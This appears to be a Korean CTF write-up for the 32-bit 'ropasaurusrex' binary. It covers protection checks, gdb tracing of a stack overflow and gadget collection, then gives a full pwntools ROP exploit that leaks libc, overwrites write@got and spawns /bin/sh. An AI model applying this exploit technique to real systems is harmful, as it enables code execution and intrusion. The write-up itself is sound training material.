문제 바이너리 첨부
이 문제는 32bit elf다.
보호기법을 살펴보았다.
ASLR이 걸려있고 NX가 걸려있다.
우선 이 바이너리를 실행하면 아래와 같다.
단순히 입력하나 받고 WIN이라는 문자열을 출력하고 종료된다.
아마 입력하는 부분에서 오버플로가 일어날 것이다.
우선 gdb로 열어보았다.
근데 디버깅 심볼을 찾을 수 없어서 main함수가 열리지 않았다.
그래서 info func로 함수를 찾았다.
write와 read함수가 있다.
rop를 하면 될 것 같다.
write()함수와 read()함수에 bp를 걸고 트레이싱을 했다.
구조를 보니 먼저 read()함수를 실행하고 나중에 write()함수를 실행한다.
write@got를 rop를 통해 overwrite 해주면 될 것이다.
read()함수에 대해 입력 값으로 A 8개를 주었다.
그리고 read()함수를 빠져 나온 후 바로 leave 과정에서 bp를 걸고 멈추었다.
ret까지 0x8c차이가 난다. 즉 140바이트를 오버플로우 해주면 sfp까지 덮힌다는 것이다.
이제 가젯을 모으자.
read@plt,
read@got,
write@plt,
write@got,
bss주소,
system의 offset,
pop pop pop ret 가젯,
pop ret 가젯
을 찾았다.
bss 영역의 주소는 objdump, readelf를 사용하지 않고 peda의 elfheader명령을 통해 찾았고,
pop pop 가젯은 이번엔 rp++로 찾지 않고 peda의 내장 명령어인 ropgadget으로 찾았다.
exploit code
from pwn import * p = process('./ropasaurusrex') read_plt = 0x0804832c read_got = 0x804961c write_plt = 0x0804830c write_got = 0x8049614 bss = 0x8049628 system_offset = 0x9ad60 pppr = 0x80484b6 pr = 0x80483c3 binsh = "/bin/sh\x00" payload = "A"*140 payload += p32(write_plt) payload += p32(pppr) payload += p32(1) payload += p32(read_got) payload += p32(4) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(bss) payload += p32(len(binsh)+1) payload += p32(read_plt) payload += p32(pppr) payload += p32(0) payload += p32(write_got) payload += p32(4) payload += p32(write_plt) payload += p32(pr) payload += p32(bss) log.info("Exploit..") p.sendline(payload) read_addr = u32(p.recv()[-4:]) log.info("read_addr = {}".format(hex(read_addr))) system_addr = read_addr - system_offset log.info("system_addr = {}".format(hex(system_addr))) p.sendline(binsh) p.sendline(p32(system_addr)) p.interactive()
'CTF' 카테고리의 다른 글
pico-ctf-2013 rop-4 (0) | 2018.07.17 |
---|---|
pico-ctf-2013 rop-3 (0) | 2018.07.14 |
pico-ctf-2013 rop-2 (0) | 2018.07.14 |
pico-ctf-2013 rop-1 (0) | 2018.07.14 |
Defcon 2015 r0pbaby (0) | 2018.07.13 |